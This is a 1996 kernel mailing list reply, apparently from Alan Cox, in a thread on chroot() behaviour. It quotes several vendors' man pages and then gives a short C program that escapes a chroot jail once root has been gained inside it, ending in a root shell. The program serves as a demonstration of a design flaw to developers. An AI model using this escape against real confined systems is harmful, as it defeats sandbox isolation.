Messages in this thread |  | | From | (Alan Cox) | Subject | Re: Glitch in sys_chroot() | Date | Fri, 15 Nov 1996 18:57:47 +0000 (GMT) |
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> SunOS 4.1.1: "The current working directory is unaffected by this call." > > SunOS 5.4 / Solaris 2.4: "The user's working directory is unaffected > by the chroot() and fchroot() functions." > > IRIX 5.3: "The user's working directory is unaffected by the chroot > system call." > > NetBSD 1.2: "It should be noted that chroot() has no effect on the > process's current directory." > > Any questions?
No but a little demo on each of those machines
/* Escape from chroot after getting root in the chroot area */
main() { mkdir("fred"); chroot("fred"); chdir("../../../../../../../../../"); chroot("/"); execl("/bin/sh","-sh",NULL); }
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